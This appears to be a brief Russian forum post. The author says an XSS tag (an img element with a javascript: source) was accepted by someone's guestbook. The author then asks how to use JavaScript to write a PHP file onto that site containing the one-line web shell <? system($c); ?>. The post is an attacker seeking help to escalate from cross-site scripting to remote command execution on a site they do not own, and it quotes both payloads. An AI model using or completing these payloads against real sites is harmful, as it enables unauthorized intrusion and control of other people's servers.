На одной гостевухе прошел тег (javascript:alert('')) <img src="javascript:alert('posted by docent')" alt="" border="0"> . а как припомощи джавы создать на сайте php c содержанием, ну например <? system($c); ?>